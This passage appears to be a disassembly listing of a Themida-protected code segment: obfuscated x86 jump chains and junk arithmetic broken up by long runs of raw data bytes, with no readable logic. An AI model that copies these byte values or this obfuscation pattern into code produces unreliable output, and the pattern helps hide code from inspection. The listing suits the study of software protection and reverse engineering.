		dd 501CDA05h, 393EE954h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5962DE:				; CODE XREF: Themida_:005A01E0j
		add	ecx, ebx
		sub	ecx, 509D4593h
		jmp	loc_593D46
; ---------------------------------------------------------------------------
		db 31h
		dd 14332414h, 0C93DE924h, 0FA890000h, 5AD3895Fh, 8244481h
		dd 1C00DA0h, 8245C29h, 959EE9h,	0E9DF2900h, 0C98Eh, 4A962D66h
		dd 0B9BF6657h, 8353666Ch, 48904ECh, 7EB86624h, 0ECBB6604h
		dd 0C3016640h, 2B6BE9h,	0BEEF6800h, 815FC657h, 1C7A5BC7h
		dd 6536E93Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_596346:				; CODE XREF: Themida_:005A3389j
		mov	[esp], ebx
		mov	ebx, 3E380932h
		jmp	loc_5936EC
; ---------------------------------------------------------------------------
		db 0FFh
		dd 1AE92434h
		db 0BAh, 2 dup(0)
byte_59635B	db 83h			; DATA XREF: Themida_:00590894o
		dd 148904ECh, 2474FF24h, 24148B04h, 0E904C483h,	0A971h
		dd 4C781h, 0EF810000h, 4, 0FFD1E8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_596381:				; CODE XREF: Themida_:005A337Ej
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_5918DF
; ---------------------------------------------------------------------------


loc_596395:				; CODE XREF: Themida_:00596C9Bj
		xor	ebx, 7FFF7FEAh
		push	eax
		jmp	loc_59CCC3
; ---------------------------------------------------------------------------


loc_5963A1:				; CODE XREF: Themida_:00591FCBj
		push	eax
		mov	al, 1Bh
		push	ecx
		mov	cl, al
		jmp	loc_59C766
; ---------------------------------------------------------------------------
		dd 4EC81h, 0C890000h, 6BEFB924h, 0BE560C4Fh, 68CE0B8Fh
		dd 7A32C681h, 0C6816DC0h, 21851128h, 815EF101h,	966B1BC2h
		dd 0E7D0E924h, 0E0BA0000h, 81011279h, 246504F2h, 5AD529D2h
		dd 0E95DEE31h, 0FFFFB773h, 38C5685Ch, 3C890000h, 555F5424h
		dd 4EC8156h, 89000000h,	83682404h, 5848AE0Fh, 3F3ECC2Dh
		dd 8AEBE914h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_596416:				; CODE XREF: Themida_:005912A5j
		mov	esi, 4
		add	ecx, esi
		push	dword ptr [esp]
		jmp	loc_59D08C
; ---------------------------------------------------------------------------
		db 0BEh, 0Dh, 3Bh
		dd 0F529781Fh, 0BE565B5Eh, 70345737h, 81DEF74Eh, 0D9D90FF6h
		dd 5EF20188h, 0C2E9EA01h, 81FFFFABh, 0CF1794CDh, 51EDD15Eh
		dd 0FFB499E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_596455:				; CODE XREF: Themida_:00593D52j
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], esi
		push	edx
		push	414D1D9Fh
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_59B6F6
; ---------------------------------------------------------------------------


loc_59646F:				; CODE XREF: Themida_:0059B9A5j
		add	[ecx], ebx
		jmp	loc_59AA9D
; ---------------------------------------------------------------------------
		dw 3489h
		dd 815E5424h, 4C6h, 2BB5300h, 1000000h,	0F004E9DEh, 0C4810000h
		dd 4, 8104C483h, 4C3h, 4C38100h, 53000000h, 0F5BFE9h
		db 0
; ---------------------------------------------------------------------------


loc_5964A9:				; CODE XREF: Themida_:005A5A8Fj
		push	edi
		jmp	loc_596A6F
; ---------------------------------------------------------------------------


loc_5964AF:				; CODE XREF: Themida_:0059E390j
		sub	esp, 4
		jmp	loc_59FAE8
; ---------------------------------------------------------------------------
byte_5964B7	db 66h			; DATA XREF: Themida_:00590A04o
		dd 6802B60Fh, 7497h, 83242C89h,	0EFE904ECh, 10000D7h, 5E1C68FBh
		dd 14890000h, 4EC8324h,	0E9241C89h, 51F8h, 31243433h, 34332434h
		dd 25E95C24h, 2D000089h, 393A4D45h, 5758C789h, 495563BFh
		dd 0AFEF810Dh, 1AA1EE2h, 5EE95FFAh, 0BF0000DEh,	4C203C2Eh
		dd 0C3D6C781h, 0C581B3DFh, 0BCA1FD7h, 0BB53FD01h, 2452A61h
		dd 6433C381h, 0E973ECh
		db 96h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59652F:				; CODE XREF: Themida_:005A48E5j
		add	esp, 4
		push	dword ptr [esp]
		pop	ecx
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_59A1CF
; ---------------------------------------------------------------------------


loc_59654E:				; CODE XREF: Themida_:00594E5Aj
		push	ebp
		mov	ebp, 2B334DCAh
		add	ebp, 0D4CCB23Ah
		add	ecx, ebp
		jmp	loc_594C92
; ---------------------------------------------------------------------------
		db 8Bh,	2Ch, 24h
		dd 5E08950h, 4,	4BD55h,	0E8010000h, 65E9505Dh, 0C0FFFFAAh
		dd 0F18005E9h, 0B4A3E9FAh, 0C1B7FFFFh, 22E9F730h, 81FFFFC2h
		dd 8465D8EEh, 81DE0135h, 8465D8C6h, 241C8B35h, 1C13E9h
		dd 45B900h, 89570B44h, 5FFA89CFh, 5EC28159h, 556E2B7Dh
		dd 6C0034BDh, 1DE58103h, 4D79423Ch, 9D2AE9h, 4895C00h
		dd 1A0FE924h, 9C0D0000h, 0F77A0E6Ch, 685255D0h,	67B9789Fh
		dd 2EA815Ah, 81524149h,	2B319CEAh, 0DDEA811Dh, 89729C7Ch
		dd 0E8295AD5h, 58C7295Dh, 0C781DFF7h, 112F3159h, 27D4E981h
		dd 0E5E93204h, 810000CCh, 0D11B64EEh, 5EEC161h,	0C108EEC1h
		dd 0F68106EEh, 4D0771ACh, 130E981h, 0F1293278h,	4D87BF57h
		dd 0C781665Dh, 498B77FAh, 70F3CF81h, 0DFF76E5Bh, 0BF9BD55h
		dd 0EDC10324h, 0FDC58102h, 4D455F19h, 0DA29C581h, 0EF01DC4Bh
		dd 5FF9015Dh, 5524348Bh, 0C5815D54h, 4,	3304C583h, 2C31242Ch
		dd 0B681E924h, 14890000h, 35E95324h, 81000039h,	4ECh, 24148900h
		dd 0C06BE9h, 0A409E900h, 0C483FFFFh, 94BB5304h,	81610635h
		dd 106F10F3h, 77CB8156h, 81333B68h, 0CA1150E3h,	76F6685Ah
		dd 0C890000h, 0EFB4B924h, 0CB01EDF5h, 0D0FDE959h, 0C3810000h
		dd 4, 5C241C87h, 2796BD55h, 0EB31668Fh,	0B47BE9h
		db 0
; ---------------------------------------------------------------------------


loc_5966D9:				; CODE XREF: Themida_:0059208Cj
		add	esi, ebx
		pop	ebx
		xchg	esi, [esp]
		pop	esp
		push	edi
		jmp	loc_595476
; ---------------------------------------------------------------------------


loc_5966E6:				; CODE XREF: Themida_:005A5871j
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		add	ebx, 4
		sub	ebx, 2
		xor	ebx, [esp]
		jmp	loc_59F27F
; ---------------------------------------------------------------------------


loc_596703:				; CODE XREF: Themida_:005A56DAj
		sub	ecx, 0C0C26223h
		sub	eax, ecx
		jmp	loc_5A0342
; ---------------------------------------------------------------------------
		dd 8B240433h, 0DFE92424h
		db 6Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59671B:				; CODE XREF: Themida_:0059518Cj
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5A35FB
; ---------------------------------------------------------------------------
		db 81h,	0E9h, 5Ch
		dd 10E5D17h, 5CBD55D1h,	10E5D17h, 0E9815DE9h, 50991437h
		dd 5A2434FFh, 81E78957h, 4C7h, 4C78100h, 87000000h, 15C243Ch
		dd 240C8BCFh, 0C46BE9h,	4C48300h, 8124148Bh, 4C4h, 77BB5300h
		dd 31710926h, 2434FFDAh, 3ADFE95Bh, 2C890000h, 0EEB85024h
		dd 0E96AC737h, 0FFFFA7D9h, 32B8505Bh, 2D61084Bh, 18127308h
		dd 3D336E35h, 451B0530h, 0C329F1A0h, 0EBC15858h, 81DBF707h
		dd 0FB68DDEBh, 5BD801E3h, 4EC81h, 3C890000h, 1D73BF24h
		dd 55E93671h, 88000065h, 0E5005BDCh, 24048B66h,	81E78957h
		dd 4C7h, 2C78100h, 87000000h, 0E95C243Ch, 0FFFFC659h, 7CEABF57h
		dd 7C291309h, 5B5F0C24h, 8904EC83h, 40B9240Ch, 14A720Fh
		dd 5908244Ch, 6824148Bh, 3FDDh,	89240C89h, 4C181E1h, 81000000h
		dd 4C1h, 240C8700h, 0D123E95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_596826:				; CODE XREF: Themida_:00593BF6j
		sub	ebx, 170B007Bh
		add	ebx, edx
		add	ebx, 170B007Bh
		push	4733h
		mov	[esp], edx
		mov	edx, 0
		sub	edx, 9A5B52h
		jmp	loc_591CA6
; ---------------------------------------------------------------------------
		dd 0D7F6AAB7h, 0B3A6E9h, 5B162500h, 88E9663Bh
		db 8Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59685F:				; CODE XREF: Themida_:00597993j
		shl	edx, 3
		xor	edx, 707A334Ch
		jmp	loc_5A16B7
; ---------------------------------------------------------------------------


loc_59686D:				; CODE XREF: Themida_:005917B3j
		mov	esi, 2B41651Ch
		neg	esi
		dec	esi
		shr	esi, 4
		sub	esi, 5E7E15D4h
		sub	esi, 0AECDD3D6h
		mov	edx, esi
		pop	esi
		sub	ecx, 3C452F21h
		sub	ecx, edx
		push	esi
		jmp	loc_59B769
; ---------------------------------------------------------------------------


loc_596895:				; CODE XREF: Themida_:0059CBDBj
		add	esp, 4
		jmp	loc_5913CF
; ---------------------------------------------------------------------------
		db 87h,	0E9h, 81h
		dd 4ECh, 0A2DCE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5968AA:				; CODE XREF: Themida_:0059F8A6j
		push	ebx
		push	ecx
		mov	ch, 90h
		mov	bl, ch
		pop	ecx
		xor	bl, 6Eh
		sub	bl, 49h
		jmp	loc_59DDFF
; ---------------------------------------------------------------------------
		dd 0D587EF87h, 0D587D2F7h, 4241E9h, 0FFD93000h,	1C8B2434h
		dd 4C48324h, 5E08950h, 4, 0FFE557E9h, 241C89FFh, 765668h
		dd 242C8900h, 127B5968h, 242C8B36h, 81E18951h, 4C1h, 4C18100h
		dd 87000000h, 82E9240Ch
		db 0E1h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_59690B:				; CODE XREF: Themida_:0059E75Fj
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_592C95
; ---------------------------------------------------------------------------


loc_59691A:				; CODE XREF: Themida_:005A292Fj
		pop	esp
		push	dword ptr [esp]
		pop	esi
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		push	4A1Eh
		mov	[esp], esi
		mov	esi, 4
		jmp	loc_5A2569
; ---------------------------------------------------------------------------
		dw 0A368h
		dd 89000007h, 0BF572424h, 4, 664AE9h, 2434FF00h, 4C4815Bh
		dd 81000000h, 4C3h, 0D7685200h,	89000004h, 2BB241Ch, 68000000h
		dd 17CBh, 5A241C89h, 5B2434FFh,	4C481h,	0C3810000h, 25813EB2h
		dd 0E952D301h, 3077h, 5D2434FFh, 65E8E9h
		db 0
byte_596995	db 66h,	8Bh, 4		; DATA XREF: Themida_:005909D0o
aSu		db '$éãÂ',0
		align 2


loc_59699E:				; CODE XREF: Themida_:0059305Bj
		push	esi
		mov	esi, ebp
		push	esi
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 17F7740h
		xor	[esp+4], edi
		jmp	loc_59CDEE
; ---------------------------------------------------------------------------


loc_5969B6:				; CODE XREF: Themida_:00594BECj
		shr	edx, 5
		neg	edx
		shl	edx, 1
		add	edx, 476232Ch
		jmp	loc_592E08
; ---------------------------------------------------------------------------
aRtzsv		db 'RTZéVÉ',0
		align 10h
		dd 2BE565Eh, 0E9000000h, 23C5h
dword_5969DC	dd 47FBE9ADh, 0FF570000h, 5F042474h, 5C24048Fh,	1C07E9h
					; DATA XREF: Themida_:00590A1Co
		db 0
; ---------------------------------------------------------------------------


loc_5969F1:				; CODE XREF: Themida_:00598475j
		push	ebx
		jmp	loc_5956A9
; ---------------------------------------------------------------------------
		db 87h
		dd 8DE92414h, 5F0000ACh, 187F852Dh, 58C3017Ch, 0E9241C87h
		dd 68DEh
; ---------------------------------------------------------------------------


loc_596A10:				; CODE XREF: Themida_:005A13BCj
		push	eax
		mov	eax, 1B446617h
		mov	ecx, eax
		pop	eax
		dec	ecx
		add	ecx, 1
		xor	ecx, 72B05132h
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 60656D82h
		sub	eax, 1
		push	ebx
		mov	ebx, 0DA2710EAh
		add	eax, ebx
		pop	ebx
		sub	ecx, eax
		jmp	loc_5A56D1
; ---------------------------------------------------------------------------
		dw 5266h
		dd 0B2E945B6h, 59FFFFC9h, 77EA68h, 242C8900h, 0FFBB2FE9h
		dd 240489FFh, 4B8h, 8BC50100h, 0C5E92404h
		db 0DDh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_596A6F:				; CODE XREF: Themida_:005964AAj
		mov	edi, 4
		mov	ecx, edi
		jmp	loc_5A10B0
; ---------------------------------------------------------------------------
		db 58h
		dd 8B66CE08h, 0CFE9240Ch, 0FF0000AEh, 0E9042474h, 8550h
		dd 4577F681h, 0C6813989h, 5C112672h, 4B3F68h, 243C8900h
		dd 0FFFFFFBFh, 5FFE29FFh, 1640BB53h, 0EB8156E6h, 8B7ECE0h
		dd 4E5BDE31h, 0FFDB24E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_596AC1:				; CODE XREF: Themida_:005A2197j
		mov	ebx, 3EDC7341h
		sub	eax, ebx
		pop	ebx
		push	4B37h
		mov	[esp], ecx
		mov	ecx, 4A3301D7h
		sub	eax, 66CD7BFEh
		add	eax, ecx
		add	eax, 66CD7BFEh
		jmp	loc_59ACB3
; ---------------------------------------------------------------------------
		db 0BBh
		dd 4DC7343Bh, 815BD931h, 0C33427E9h, 59C8014Dh,	0FFD6F3E9h
		dd 0E9C101FFh, 0FFFFA21Fh, 4C481h, 8CE90000h
		db 9Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_596B0F:				; CODE XREF: Themida_:005A39E1j
		pop	esp
		jmp	loc_59AE21
; ---------------------------------------------------------------------------
		db 1, 0F9h, 0E9h
		dd 5F42h
; ---------------------------------------------------------------------------


loc_596B1C:				; CODE XREF: Themida_:005931C1j
		pop	eax
		push	553Dh
		mov	[esp], esi
		xor	dword ptr [esp], 3B3C5DC1h
		pop	ebp
		push	eax
		mov	eax, 6BD86A9Ch
		neg	eax
		or	eax, 1479699Bh
		or	eax, 507B5167h
		push	ecx
		mov	ecx, 4C273F3h
		jmp	loc_5A07A3
; ---------------------------------------------------------------------------
		dw 0ED81h
		dd 6CAD6929h, 0C581F501h, 6CAD6929h, 8124348Bh,	4C4h, 0EAE95500h
		db 0C9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_596B67:				; CODE XREF: Themida_:0059B9E8j
		pop	eax
		shr	ebp, 6
		jmp	loc_5A3AC1
; ---------------------------------------------------------------------------
		dd 8124048Fh, 42404h, 685E0000h, 0F6Fh,	0B8240489h, 4
		dd 666CC681h, 0C6013383h, 666CEE81h, 34FF3383h,	2434FF24h
		dd 4C48358h, 7699E9h, 4E6C000h,	2822C680h, 0E95A66F3h
		dd 409Ch
; ---------------------------------------------------------------------------


loc_596BB4:				; CODE XREF: Themida_:005A3E3Ej
		sub	ebx, edi
		pop	edi
		push	ebp
		mov	ebp, 6FF4768Eh
		add	ebp, 42E2505Fh
		jmp	loc_599111
; ---------------------------------------------------------------------------


loc_596BC8:				; CODE XREF: Themida_:005955D0j
		push	46887583h
		mov	eax, [esp]
		add	esp, 4
		push	ebp
		jmp	loc_5944D4
; ---------------------------------------------------------------------------


loc_596BDC:				; CODE XREF: Themida_:0059F099j
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	542Ah
		mov	[esp], ecx
		push	dword ptr [esp+4]
		jmp	loc_599A3B
; ---------------------------------------------------------------------------
		dw 0F380h
		dd 6BB4500Fh, 0EC80DCF6h, 58E3280Eh, 8046C380h,	0EB8048E3h
		dd 558DE901h, 0CE010000h, 0EC835159h, 2CFCE904h, 895C0000h
		dd 6AE92414h, 0FE000023h, 0C0CBFEC3h, 0F38004EBh, 8BDE28CFh
		dd 0E4E9241Ch
		db 53h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_596C3F:				; CODE XREF: Themida_:00595547j
		push	edx
		mov	edx, 34CC3D87h
		not	edx
		shr	edx, 2
		jmp	loc_59FAFF
; ---------------------------------------------------------------------------
byte_596C4F	db 66h			; DATA XREF: Themida_:00590884o
		dd 52240C8Bh, 0FFDA2CE9h, 0E9FD01FFh, 0CC1Bh, 0EC81D831h
		dd 4, 89243489h, 4C681E6h, 0E9000000h, 0E486h, 0D15FF829h
		dd 9C7C35E0h, 0C2011F6Dh, 0D685E958h, 0F181FFFFh, 13532602h
		dd 0B734E9h
		db 0
; ---------------------------------------------------------------------------


loc_596C95:				; CODE XREF: Themida_:0059E98Ej
		or	ebx, 1A3D7784h
		jmp	loc_596395
; ---------------------------------------------------------------------------
		dd 8B2434FFh, 89562404h, 4C681E6h, 0E9000000h, 0FFFFD5D0h
		dd 0F20350B9h, 0FFE98350h, 3F54F181h, 0D1F7506Ch, 1777C181h
		dd 89E936E6h, 890000C9h, 4C581E5h, 83000000h, 2C8704C5h
		dd 83505C24h, 248904ECh, 80E95024h
		db 0E3h, 2 dup(0)
byte_596CEB	db 0FFh			; DATA XREF: Themida_:0059080Co
		dd 669D1C77h, 241CD259h, 9DA1E99Ch, 75BFFFFFh, 0E90AFC0Bh
		dd 0FFFFFF55h, 0E404DB04h, 0E42CD800h, 4DBB652h, 0E9F02853h
		dd 0FFFFCA6Ch, 4C481h, 0FA010000h, 2C2815Fh, 33000000h
		dd 14312414h, 0C693E924h, 3C8B0000h, 4C48324h, 0FFC43EE9h
		dd 0BD555EFFh, 11F7337Ah, 0F708E5C1h, 0A8C581D5h, 0E950E259h
		dd 0DF7Ah, 0C581E589h, 4, 8704C583h, 248B242Ch,	0E2895224h
		dd 4B850h, 0BB530000h, 75B439ECh, 15BDA29h, 0ECC281C2h
		dd 0E975B439h, 5762h, 5C240487h, 5A44E9h, 52C33100h, 8575E9h
		db 0
; ---------------------------------------------------------------------------


loc_596D95:				; CODE XREF: Themida_:0059E425j
		add	ebx, 727615A0h
		add	ebx, ecx
		sub	ebx, 727615A0h
		pop	ecx
		mov	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		xor	edi, ecx
		pop	ecx
		add	ebp, edi
		jmp	loc_591C8D
; ---------------------------------------------------------------------------
		db 0BEh, 18h, 3Eh
		dd 0F23124B1h, 0BBD2E9h, 0FF575C00h, 5F042474h,	8B24048Fh
		dd 1C892424h, 0EC815624h, 4, 83242489h,	8B042404h, 0C4812434h
		dd 4, 4C681h, 0EE810000h, 4, 0E9243487h, 0FFFFE76Ch
; ---------------------------------------------------------------------------


loc_596E00:				; CODE XREF: Themida_:00594C96j
		mov	esp, [esp]
		mov	edx, [esp]
		add	esp, 4


loc_596E09:				; CODE XREF: Themida_:005A0743j
		push	ecx
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_599EBA
; ---------------------------------------------------------------------------
a7TS		db 'º°7Ô;)T$',8,'é¾Û',0
		db 0
; ---------------------------------------------------------------------------


loc_596E23:				; CODE XREF: Themida_:005A3EADj
		sub	eax, 25A41CF7h
		mov	edi, [esp]
		add	esp, 4
		sub	[edi+24h], eax
		jmp	loc_5959D6
; ---------------------------------------------------------------------------


loc_596E39:				; CODE XREF: Themida_:005A4B6Cj
		sub	edx, 4FF25952h
		sub	edx, 1D2522F0h
		pop	edi
		mov	ecx, edx
		pop	edx
		jmp	loc_592AF7
; ---------------------------------------------------------------------------
		dw 575Fh
		dd 8E1241BFh, 0C78117h,	14E754Ch, 0E9525FF9h, 0A277h
dword_596E64	dd 24048B66h, 47E2E955h, 14890000h, 0E95A5424h,	77E3h
					; DATA XREF: Themida_:0059087Co
		dd 289FC281h, 0DA014801h, 2573E9h, 26800h, 15D0000h, 242C8BEEh
		dd 0E904EC83h, 0AA8Bh
; ---------------------------------------------------------------------------


loc_596E98:				; CODE XREF: Themida_:005A2FABj
		mov	bl, cl
		pop	ecx
		jmp	loc_5983C3
; ---------------------------------------------------------------------------
		dd 3046C281h, 0FA29104Ah, 3046EA81h, 0C281104Ah, 166A29A6h
		dd 81243C8Bh, 4C4h, 24143300h, 33241431h, 248B2414h, 240C8924h
		dd 0AC368h, 24148900h, 4B13CD68h, 0CA815A3Fh, 36D45E6Ah
		dd 5FEDEA81h, 7BE93FDFh, 81FFFFAEh, 4C4h, 1C6F2100h, 0E9242C8Bh
		dd 0FFFFB4D9h, 4C581h, 0C5830000h, 242C8704h, 0DC6FE9h
		db 0
; ---------------------------------------------------------------------------


loc_596F0D:				; CODE XREF: Themida_:005A2099j
		xchg	ebx, esi
		push	edx
		push	esi
		pop	edx
		pop	esi
		push	443Ch
		jmp	loc_5926FF
; ---------------------------------------------------------------------------
		db 81h,	0CDh, 0B6h
		dd 8102E324h, 970717F5h, 0E9E88903h, 9ED1h, 632D685Fh
		dd 348B4E33h, 4C48324h,	8158C629h, 135B17EAh, 6FEA8145h
		dd 161370Eh, 6FC281F2h,	5161370Eh, 8B07E9h
		db 0
; ---------------------------------------------------------------------------


loc_596F59:				; CODE XREF: Themida_:0059C9AEj
		mov	ah, 0FAh
		and	cl, ah
		mov	eax, [esp]
		jmp	loc_59B8A0
; ---------------------------------------------------------------------------
		db 8Fh,	4, 24h
		dd 0C8B665Ch, 4EC8124h,	89000000h, 0EC812404h, 4, 81242489h
		dd 4ECh, 49B8E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_596F8A:				; CODE XREF: Themida_:0059FC63j
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		or	ebx, ebx
		jnz	loc_59D0E9
		push	ebx
		jmp	loc_5A0A26
; ---------------------------------------------------------------------------
		db 5Ch
		dd 50241C89h, 88D78853h, 88525BF8h, 695068C6h, 4890000h
		dd 0E9F08824h, 3C9Eh, 524248Bh,	4, 7B0BE9h, 40500h, 4330000h
		dd 24043124h, 0E9240433h, 2542h, 4EC81h, 14890000h, 0A7B95124h
		dd 494F4C04h, 3416E181h, 37E94B37h
		db 68h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_596FF7:				; CODE XREF: Themida_:0059C76Ej
		sub	al, 0Ch
		add	al, bl
		push	dx
		mov	dl, 0Ch
		add	al, dl
		pop	dx
		sub	al, 64h
		jmp	loc_5933E0
; ---------------------------------------------------------------------------
		dw 0D986h
		dd 0FEA9B753h, 80CFFECFh, 0F780D4C7h, 0EF8016h,	665BF900h
		dd 0E912E068h, 781Ch, 0C1EFD158h, 0DFF706E7h, 0FFA67CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_597035:				; CODE XREF: Themida_:0059B531j
		push	edi
		mov	edi, 7E9910A5h
		mov	ebp, 8166EF5Fh
		add	ebp, edi
		jmp	loc_5A5814
; ---------------------------------------------------------------------------
aPirs		db 'P‰àé¸Î',0
		dw 6800h
		dd 2ACAh, 0E9243C89h, 9D4Bh
; ---------------------------------------------------------------------------


loc_59705C:				; CODE XREF: Themida_:0059AE1Cj
		mov	esi, [esp]
		jmp	loc_59385A
; ---------------------------------------------------------------------------
		dd 0FFFFFFB9h, 1CD005FFh, 0C80145A5h, 5685E9h
		db 0
; ---------------------------------------------------------------------------


loc_597075:				; CODE XREF: Themida_:00598B25j
		mov	esi, 4CEC776Ah
		add	[esp+4], esi
		mov	esi, [esp]
		add	esp, 4
		pop	eax
		push	3FCDh
		mov	[esp], ebp
		mov	ebp, 4CEC776Ah
		push	ebx
		mov	ebx, 1999374Ch
		push	ebx
		not	dword ptr [esp]
		pop	ebx
		jmp	loc_59C581
; ---------------------------------------------------------------------------
		dw 1C89h
		dd 288CB724h, 0EEE95BF9h
		db 0DCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5970AF:				; CODE XREF: Themida_:0059F0BAj
		add	ebx, edi
		push	eax
		mov	eax, 41734507h
		inc	eax
		and	eax, 4297122Fh
		jmp	loc_59E57D
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 322E6F33h, 95BDE31h,	0E95E1C77h, 0FFFF99C7h
; ---------------------------------------------------------------------------


loc_5970D4:				; CODE XREF: Themida_:005A4F16j
		push	ebx
		push	4E507D9Bh
		mov	ebx, [esp]
		add	esp, 4
		xor	ebx, 37A56B71h
		not	ebx
		push	eax
		jmp	loc_5A5264
; ---------------------------------------------------------------------------
		db 89h,	2 dup(24h)
		dd 4240481h, 5E000000h,	4BD5552h, 89000000h, 0C6815DEAh
		dd 53C87856h, 0EE81D601h, 53C87856h, 4EC835Ah, 68241C89h
		dd 2, 97EE815Bh, 103B70Ah, 9EC0E9DEh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59712E:				; CODE XREF: Themida_:005915D2j
		mov	ecx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		add	ebp, 55B3370Ch
		sub	ebp, 119C0A90h
		add	ebp, edx
		add	ebp, 119C0A90h
		sub	ebp, 55B3370Ch
		pop	edx
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_5987CA
; ---------------------------------------------------------------------------
		db 0C3h
byte_597169	db 52h,	68h, 1Ah	; DATA XREF: Themida_:005907B8o
		dd 0E9000034h, 836Bh, 0E9243489h, 18B5h, 0BAF5E953h, 0EF31FFFFh
		dd 0D7F7FD31h, 0FFC331E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59718D:				; CODE XREF: Themida_:005931DCj
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_59CAE4
; ---------------------------------------------------------------------------
		dd 4EC81h, 2C890000h, 2474FF24h, 48F5D04h, 0E0E0E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5971AE:				; CODE XREF: Themida_:0059C584j
		or	ebx, 2DCD3F02h
		jmp	loc_59E616
; ---------------------------------------------------------------------------
		db 1, 0EFh, 0E9h
		dd 0FFFF9CF7h, 7C376855h, 815D1125h, 5FCADC5h, 5DEF8969h
		dd 1E9FB89h, 89FFFFE1h,	0CCB82404h, 0E916002Fh,	0E188h
		dd 7CEBF581h, 0C5812A8Dh, 1C4841Dh, 15DEB31h, 3A35E9D8h
		dd 0C4810000h, 4, 148B5452h, 11E95724h,	8100003Ah, 4C2h
		dd 4EA8100h, 33000000h,	0CCE92414h, 56FFFFF0h, 1481B951h
		dd 89E92134h, 2Fh, 805A66D3h, 0EC83F4EBh, 24148904h, 2008E9h
		dd 49E95700h, 1000056h,	8B042454h, 89502414h, 405E0h, 4050000h
		dd 87000000h, 248B2404h, 24048B24h, 81E38953h, 4C3h, 4C38100h
		dd 87000000h, 248B241Ch, 0AB2E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59727A:				; CODE XREF: Themida_:005A2D88j
		add	esi, 359F323Fh
		pop	ebp
		push	edx
		mov	edx, 4
		jmp	loc_59A95E
; ---------------------------------------------------------------------------


loc_59728C:				; CODE XREF: Themida_:0059DD17j
		xor	ebx, esi
		push	esi
		jmp	loc_59C996
; ---------------------------------------------------------------------------
aFzsG		db 'fZé/£',0
		db 0
; ---------------------------------------------------------------------------


loc_59729B:				; CODE XREF: Themida_:00592F6Dj
		push	45DCh
		mov	[esp], ecx
		push	eax
		mov	al, dh
		mov	cl, al
		pop	eax
		mov	bh, cl
		pop	ecx
		mov	edx, [esp]
		add	esp, 4
		push	ecx
		push	edx
		mov	dh, bh
		jmp	loc_5A01F4
; ---------------------------------------------------------------------------
		dw 6C81h
		dd 75310824h, 5429521Bh, 55560824h, 1B7531BDh, 5DEE8952h
		dd 0C247401h, 1F02E9h
		db 0
; ---------------------------------------------------------------------------


loc_5972DD:				; CODE XREF: Themida_:00590E55j
		not	ecx
		dec	ecx
		not	ecx
		or	ecx, 2F3D3BACh
		xor	ecx, 40B37192h
		and	edx, ecx
		jmp	loc_5A19CB
; ---------------------------------------------------------------------------
		db 0B9h, 0D8h, 2Fh
		dd 0E9813E2Eh, 1D4F0784h, 0B1685553h, 5D565E65h, 8B0B850h
		dd 0C52932F7h, 0FFC58358h, 4D0E956h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59731A:				; CODE XREF: Themida_:00594982j
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_59CAB9
; ---------------------------------------------------------------------------
		dd 5DEF895Eh, 0C783DFF7h, 5BEF81FFh, 0E933C588h, 0FFFFAECFh
; ---------------------------------------------------------------------------


loc_59733C:				; CODE XREF: Themida_:005A43FDj
		push	dword ptr [esp+4]
		mov	eax, [esp]
		jmp	loc_5A06D9
; ---------------------------------------------------------------------------
		dd 0A37AC2B8h, 47DF3501h, 0E8C16E34h, 51D0F702h, 1A30B7B9h
		dd 59C829E4h, 6858C201h, 1844h,	4051E9h, 24043100h, 0FFF39BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_597375:				; CODE XREF: Themida_:0059FDF6j
		add	ebp, 11B72D4h
		pop	edx
		shl	ebp, 6
		or	ebp, 22156CBDh
		shr	ebp, 4
		add	ebp, 37A17AC1h
		xor	ebp, 519145C5h
		sub	ebx, 2146F17h
		sub	ebx, 71A64192h
		sub	ebx, ebp
		add	ebx, 71A64192h
		jmp	loc_5950A4
; ---------------------------------------------------------------------------
		db 81h,	0EAh, 0B4h
